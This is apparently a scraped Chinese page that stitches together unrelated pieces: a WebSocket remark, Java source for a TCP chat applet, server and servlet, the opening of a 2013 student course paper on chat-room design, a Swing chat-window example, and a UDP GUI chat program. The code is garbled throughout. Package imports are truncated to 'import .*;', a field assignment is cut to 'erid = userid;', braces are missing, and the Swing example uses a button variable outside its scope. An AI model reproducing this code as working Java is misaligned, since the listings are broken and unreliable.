在此WebSocket 协议中,为我们实现即时服务带来了两⼤好处:1. Header互相沟通的Header是很⼩的-⼤概只有 2 Bytes2. Server Push服务器的推送,服务器不再被动的接收到浏览器的request之后才返回数据,⽽是在有新数据时就主动推送给浏览器。
Java 多人聊天源码1.ChatApplet.java类import java.awt.*;import java.awt.event.*;import java.applet.*;import javax.swing.*;import yout.*;import javax.swing.border.*;import java.io.*;import .*;public class ChatApplet extends JApplet {boolean isStandalone = false;BorderLayout borderLayout1 = new BorderLayout();Border border1;JPanel jPanel2 = new JPanel();Border border2;BorderLayout borderLayout2 = new BorderLayout();JPanel jPanel1 = new JPanel();JButton buttonSend = new JButton();BorderLayout borderLayout3 = new BorderLayout();JPanel jPanel3 = new JPanel();Border border3;BorderLayout borderLayout4 = new BorderLayout();JTextField textTalk = new JTextField();JPanel jPanel4 = new JPanel();Border border4;BorderLayout borderLayout5 = new BorderLayout();JScrollPane jScrollPane1 = new JScrollPane();JTextArea textMessages = new JTextArea();PrintWriter out = null;/**Get a parameter value*/public String getParameter(String key, String def) {return isStandalone ? System.getProperty(key, def) :(getParameter(key) != null ? getParameter(key) : def); }/**Construct the applet*/public ChatApplet() {}/**Initialize the applet*/public void init() {try {jbInit();Client client = new Client(this);if (client.isConnected())out = client.getOutputStream();elseappendMessage("大大的错误!!");}catch(Exception e) {e.printStackTrace();}}/**Component initialization*/private void jbInit() throws Exception {border1 = BorderFactory.createEmptyBorder(9,9,9,9);border2 = BorderFactory.createEmptyBorder(9,9,9,9);border3 = BorderFactory.createEmptyBorder(2,0,2,5);border4 = BorderFactory.createEmptyBorder(0,0,5,0);this.setSize(new Dimension(400,300));this.getContentPane().setLayout(borderLayout1);jPanel2.setBorder(border2);jPanel2.setLayout(borderLayout2);buttonSend.setFocusPainted(false);buttonSend.setText("发送");buttonSend.addActionListener(newjava.awt.event.ActionListener() {public void actionPerformed(ActionEvent e) {buttonSend_actionPerformed(e);}});jPanel1.setLayout(borderLayout3);jPanel3.setBorder(border3);jPanel3.setLayout(borderLayout4);jPanel4.setBorder(border4);jPanel4.setLayout(borderLayout5);textTalk.addKeyListener(new java.awt.event.KeyAdapter() { public void keyPressed(KeyEvent e) {textTalk_keyPressed(e);}});this.getContentPane().add(jPanel2, BorderLayout.CENTER);jPanel2.add(jPanel1, BorderLayout.SOUTH);jPanel1.add(buttonSend, BorderLayout.EAST);jPanel1.add(jPanel3, BorderLayout.CENTER);jPanel3.add(textTalk, BorderLayout.CENTER);jPanel2.add(jPanel4, BorderLayout.CENTER);jPanel4.add(jScrollPane1, BorderLayout.CENTER);jScrollPane1.getViewport().add(textMessages, null);}/**Get Applet information*/public String getAppletInfo() {return "Applet Information";}/**Get parameter info*/public String[][] getParameterInfo() {return null;}/**Main method*/public static void main(String[] args) {ChatApplet applet = new ChatApplet();applet.isStandalone = true;JFrame frame = new JFrame();//EXIT_ON_CLOSE == 3frame.setDefaultCloseOperation(3);frame.setTitle("Applet Frame");frame.getContentPane().add(applet, BorderLayout.CENTER);applet.init();applet.start();frame.setSize(400,320);Dimension d = Toolkit.getDefaultToolkit().getScreenSize();frame.setLocation((d.width - frame.getSize().width) / 2, (d.height - frame.getSize().height) / 2);frame.setVisible(true);}//static initializer for setting look & feelstatic {try {UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());//UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClass Name());}catch(Exception e) {}}public void appendMessage(String message) {textMessages.setText(message + textMessages.getText());}void buttonSend_actionPerformed(ActionEvent e) {String msg;msg = textTalk.getText().trim();if (msg.equals("") || msg == null) return;out.println(textTalk.getText());textTalk.setText("");}void textTalk_keyPressed(KeyEvent e) {if (e.getKeyChar() != '\n') return;out.println(textTalk.getText());textTalk.setText("");}}2.ChatServlet.javaimport javax.servlet.*;import javax.servlet.http.*;import java.io.*;import java.util.*;public class ChatServlet extends HttpServlet {private static final String CONTENT_TYPE = "text/html";/**Initialize global variables*/public void init(ServletConfig config) throws ServletException { super.init(config);try {new Server();}catch (IOException ex) {System.err.println("IO 错误:");ex.printStackTrace(System.err);destroy();}/**Process the HTTP Get request*/public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {response.setContentType(CONTENT_TYPE);PrintWriter out = response.getWriter();out.println("<html>");out.println("<head><title>ChatServlet</title></head>");out.println("<body>");out.println("<p>The servlet has received a GET. This is the reply.</p>");out.println("</body></html>");}/**Clean up resources*/public void destroy() {}}3.Client.javaimport java.io.*;import .*;public class Client {Socket socket = null;private String host;private boolean connected = false;public boolean isConnected() { return connected; }public Client(ChatApplet applet) {try {host = applet.getDocumentBase().getHost();//host = "202.115.4.246";socket = new Socket(host, Server.port);connected = true;new ClientRecieveThread(socket, applet).start();}catch (Exception ex) {applet.appendMessage(ex.getMessage());ex.printStackTrace(System.err);}public PrintWriter getOutputStream() throws IOException {return new PrintWriter(socket.getOutputStream(), true);}}4.ClientRecieveThread.javaimport java.io.*;import .*;public class ClientRecieveThread extends Thread {private ChatApplet applet = null;private Socket socket = null;public ClientRecieveThread(Socket socket, ChatApplet applet) { this.socket = socket;this.applet = applet;}public void run() {BufferedReader in = null;String inputLine;try {in = new BufferedReader(new InputStreamReader(socket.getInputStream()));while ((inputLine = in.readLine()) != null) {//if (inputLine.equalsIgnoreCase("quit")) break; applet.appendMessage(inputLine + "\n");}}catch (Exception ex) {ex.printStackTrace(System.err);}finally {Close();}}void Close() {try {socket.close();catch (Exception ex) {ex.printStackTrace(System.err);}}}5.Protocol.javapublic class Protocol {private String userid;public Protocol(String userid) {erid = userid;}public String processInput(String input) {return (userid + ": " + input);}}6.Server.javaimport java.io.*;import .*;import java.util.Vector;public class Server {private ServerSocket serverSocket = null;public static int port = 4444;private boolean listening = true;Vector clientSockets = new Vector(10);public Server() throws IOException {try {serverSocket = new ServerSocket(port);}catch (Exception ex) {System.err.println("不能监听端口:" + port); ex.printStackTrace(System.err);System.exit(-1);System.out.println("成功监听端口:" + port);while (listening)addClient(serverSocket.accept());serverSocket.close();}public void addClient(Socket socket) throws IOException {new ServerThread(socket, this).start();clientSockets.add(socket);send("欢迎 " + socket.getInetAddress().getHostName() + " 来到这里!");System.out.println("聊天室共有 " + clientSockets.size() + " 人");}public void removeClient(Socket socket) throws IOException {send("欢送 " + socket.getInetAddress().getHostName() + " 的离去");clientSockets.remove(socket);System.out.println("聊天室共有 " + clientSockets.size() + " 人");}public void send(String msg) throws IOException {Socket socket = null;for (int I = 0; I < clientSockets.size(); I++) {socket = (Socket)(clientSockets.get(I));PrintWriter out = new PrintWriter(socket.getOutputStream(), true);out.println(msg);}}public static void main(String[] args) throws IOException {new Server();}}7.ServerThread.javapublic class ServerThread extends Thread {private Server server = null;private Socket socket = null;private Protocol jcp = null;private String userid;public ServerThread(Socket socket, Server server) {super("jetic Chat Server");this.socket = socket;this.server = server;userid = socket.getInetAddress().getHostName();jcp = new Protocol(userid);}public void run() {PrintWriter out = null;BufferedReader in = null;String inputLine, outputLine;try {out = new PrintWriter(socket.getOutputStream(), true); in = new BufferedReader(new InputStreamReader(socket.getInputStream()));out.println("你可以开始你的闲聊了:)");while ((inputLine = in.readLine()) != null) {if (inputLine.equalsIgnoreCase("quit")) break;outputLine = jcp.processInput(inputLine);server.send(outputLine);}}catch (Exception ex) {ex.printStackTrace(System.err);Close();}finally {Close();}}private void Close() {try {server.removeClient(socket);socket.close();}catch (Exception ex) {ex.printStackTrace(System.err); }}}。
《网络编程技术》结课论文2012 — 2013学年第二学期题目:聊天室程序设计专业班级:网信10-2学号:************姓名:_______指导老师:---------日期:2013-06-25目录1引言 (2)2基础理论 (2)2.1 AWT 组件 (2)2.2 Swing 组件 (2)2.3 基于socket的java网络编程 (3)2.4 多线程机制 (5)3 功能设计 (5)3.1 聊天室系统概述 (7)3.2 功能模块设计 (7)3.3 详细设计 (7)3.4聊天室基本功能表: (8)4 系统实现 (8)4.1 需求分析 (8)4.2 功能实现 (9)4.3 主要代码展示及说明 (9)4.4 调试与分析 (11)5 总结 (13)参考文献 (13)1引言在当今的信息时代,越来越多的聊天工具被应用,Java语言是当今流行的网络编程语言,它具有面向对象、与平台无关、安全、多线程等特点。
使用Java 语言不仅可以实现大型企业级的分布式应用系统,还能够为小型的、嵌入式设备进行应用程序的开发。
面向对象的开发方法是当今世界最流行的开发方法,它不仅具有更贴近自然的语义,而且有利于软件的维护和继承。
为了进一步巩固课堂上所学到的知识,深刻把握Java语言的重要概念及其面向对象的特性,锻炼我们熟练的应用面向对象的思想和设计方法解决实际问题的能力,开设了Java 程序设计课程设计。
此次课程设计的题目为简单的聊天室,通过做巩固所学Java语言基本知识,增进Java语言编辑基本功,熟悉socket编程,掌握JDK、JCreator等开发工具的运用,拓宽常用类库的应用。
使我们通过该教学环节与手段,把所学课程及相关知识加以融会贯通,全面掌握Java语言的编程思想及面向对象程序设计的方法,为今后从事实际工作打下坚实的基础。
2基础理论2.1 AWT 组件布局管理器管理组件如何放置在容器中,AWT 中最常用的四种布局类:FlowLayout、BorderLayout、GridLayout、CardLayout。
要创建一个简单的Java聊天窗口,您可以使用Java的图形用户界面(GUI)工具包Swing。
以下是一个基本的聊天窗口示例:```javaimport javax.swing.*;import java.awt.*;import java.awt.event.*;public class ChatWindow extends JFrame implements ActionListener {private JTextField inputField;private JTextArea chatArea;private String message = "";public ChatWindow() {super("简单聊天窗口");setSize(400, 300);setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);inputField = new JTextField();chatArea = new JTextArea();JButton sendButton = new JButton("发送");sendButton.addActionListener(this);JScrollPane scrollPane = new JScrollPane(chatArea);chatArea.setAutoscrolls(true);getContentPane().add(inputField,BorderLayout.SOUTH);getContentPane().add(sendButton, BorderLayout.EAST); getContentPane().add(scrollPane,BorderLayout.CENTER);}public void actionPerformed(ActionEvent e) {if (e.getSource() == sendButton) {message += inputField.getText() + "\n";chatArea.append(inputField.getText() + "\n");inputField.setText(""); // 清空输入框}}public static void main(String[] args) {ChatWindow chatWindow = new ChatWindow();}}```这个程序创建了一个简单的聊天窗口,用户可以在输入框中输入消息,然后点击"发送"按钮将消息发送到聊天区域。
import java.awt.BorderLayout;import java.awt.Button;import java.awt.Color;import java.awt.Dimension;import java.awt.Font;import java.awt.Frame;import java.awt.Panel;import java.awt.Point;import java.awt.TextArea;import java.awt.TextField;import java.awt.event.ActionEvent;import java.awt.event.ActionListener;import java.awt.event.KeyAdapter;import java.awt.event.KeyEvent;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.io.File;import java.io.FileWriter;import java.io.IOException;import .DatagramPacket;import .DatagramSocket;import .InetAddress;import java.text.SimpleDateFormat;import java.util.Date;import java.util.Scanner;import java.util.concurrent.locks.Lock;import java.util.concurrent.locks.ReentrantLock;public class GUI_Chat extends Frame {private static final long serialVersionUID = 1L;private TextArea viewTextArea = new TextArea(20, 1);private TextArea sendTextArea = new TextArea();private TextField ipTextField = new TextField(20);private Button sendButton = new Button("发送");private Button clearButton = new Button("清屏");private Button logButton = new Button("记录");private Button shakeButton = new Button("震动");private Panel panel = new Panel();private DatagramSocket socket;private Lock lock = new ReentrantLock();private FileWriter fw;public GUI_Chat() throws Exception {socket = new DatagramSocket(20000);fw = new FileWriter("log.txt", true);generateUI();addListener();new ReceiveThread().start(); // 开启接收数据的线程}private void generateUI() {setTitle("GUI聊天室");setSize(400, 600);setLocation(600, 50);setMinimumSize(new Dimension(400, 600)); // 设置最小尺寸Font font = new Font("Courier New", Font.PLAIN, 15);viewTextArea.setFont(font); // 设置字体viewTextArea.setEditable(false); // 设置不可编辑(会改变背景色) viewTextArea.setBackground(Color.WHITE); // 设置背景色add(viewTextArea, BorderLayout.NORTH); // 把viewTextArea放在上面sendTextArea.setFont(font);add(sendTextArea, BorderLayout.CENTER); // 把sendTextArea放在中间panel.add(ipTextField);panel.add(sendButton);panel.add(clearButton);panel.add(logButton);panel.add(shakeButton);add(panel, BorderLayout.SOUTH); // 把Panel放在下面}private void addListener() {addWindowListener(new WindowAdapter() { // 关闭窗体public void windowClosing(WindowEvent e) {try {fw.close();} catch (IOException e1) {e1.printStackTrace();}System.exit(0);}});sendButton.addActionListener(new ActionListener() { // 发送功能public void actionPerformed(ActionEvent e) {send();}});sendTextArea.addKeyListener(new KeyAdapter() { // 处理快捷键public void keyPressed(KeyEvent e) {if(e.isControlDown() && e.getKeyCode() == KeyEvent.VK_ENTER|| e.isAltDown() && e.getKeyCode() == KeyEvent.VK_S) {send();e.consume(); // 取消当前事件}}});clearButton.addActionListener(new ActionListener() { // 清屏功能public void actionPerformed(ActionEvent e) {viewTextArea.setText("");}});logButton.addActionListener(new ActionListener() { // 聊天记录public void actionPerformed(ActionEvent e) {showLog();}});shakeButton.addActionListener(new ActionListener() {public void actionPerformed(ActionEvent e) {sendShake();}});}private void sendShake() {try {String ip = ipTextField.getText();sendData(ip, new byte[] { -1 }); // 向执行IP发送一个特殊的消息} catch (Exception e) {e.printStackTrace();}}private void showLog() {try (Scanner scanner = new Scanner(new File("log.txt"));) {viewTextArea.setText(""); // 清屏fw.flush(); // 把未保存的数据写入文件while (scanner.hasNextLine()) // 如过文件中有数据就进入循环viewTextArea.append(scanner.nextLine() + "\r\n"); // 从文件读取一行, 追加到viewTextArea中} catch (Exception e) {e.printStackTrace();}}private void send() {try {String msg = sendTextArea.getText(); // 获取要发的内容String ip = ipTextField.getText(); // 获取目标地址ip = ip.trim().length() == 0 ? "255.255.255.255" : ip;String content = getTime() + " 我对 <"+ (ip.equals("255.255.255.255") ? "所有人" : ip) + "> 说: \r\n" + msg + "\r\n\r\n";lock.lock(); // 开始同步sendData(ip, msg.getBytes()); // 发送数据sendTextArea.setText(""); // 清空viewTextArea.append(content); // 把要显示的内容追加到viewTextArea中fw.write(content); // 保存聊天记录lock.unlock(); // 结束同步} catch (Exception e) {e.printStackTrace();}}private void sendData(String ip, byte[] data) throws Exception {DatagramPacket packet = new DatagramPacket(data, data.length, InetAddress.getByName(ip), 20000);socket.send(packet); // UDP发送数据}private String getTime() {Date date = new Date();SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");return sdf.format(date); // 返回当前时间字符串}private class ReceiveThread extends Thread {public void run() {DatagramPacket packet = new DatagramPacket(new byte[8192], 8192);while (true) {try {socket.receive(packet);byte[] arr = packet.getData();int length = packet.getLength();String s = new String(arr, 0, length); // 接收到的字符串String ip = packet.getAddress().getHostAddress();String content = getTime() + " <"+ ip + "> 对我说:\r\n"+ s + "\r\n\r\n"; // 在viewTextArea中显示的内容if (length == 1 && arr[0] == -1) { // 判断是否收到震动消息doShake(); // 震动(改变位置)continue; // 进入下一次循环}lock.lock(); // 开始同步viewTextArea.append(content);fw.write(content); // 保存聊天记录lock.unlock(); // 结束同步} catch (IOException e) {e.printStackTrace();}}}}private void doShake() { //震动方法 (通过改变窗体的位置实现) try {Point point = getLocation();for (int i = 0; i < 5; i++) {Thread.sleep(30);setLocation(point.x + 5, point.y);Thread.sleep(30);setLocation(point.x - 5, point.y + 5);}setLocation(point);} catch (InterruptedException e) {e.printStackTrace();}}public static void main(String[] args) throws Exception {new GUI_Chat().setVisible(true);}}。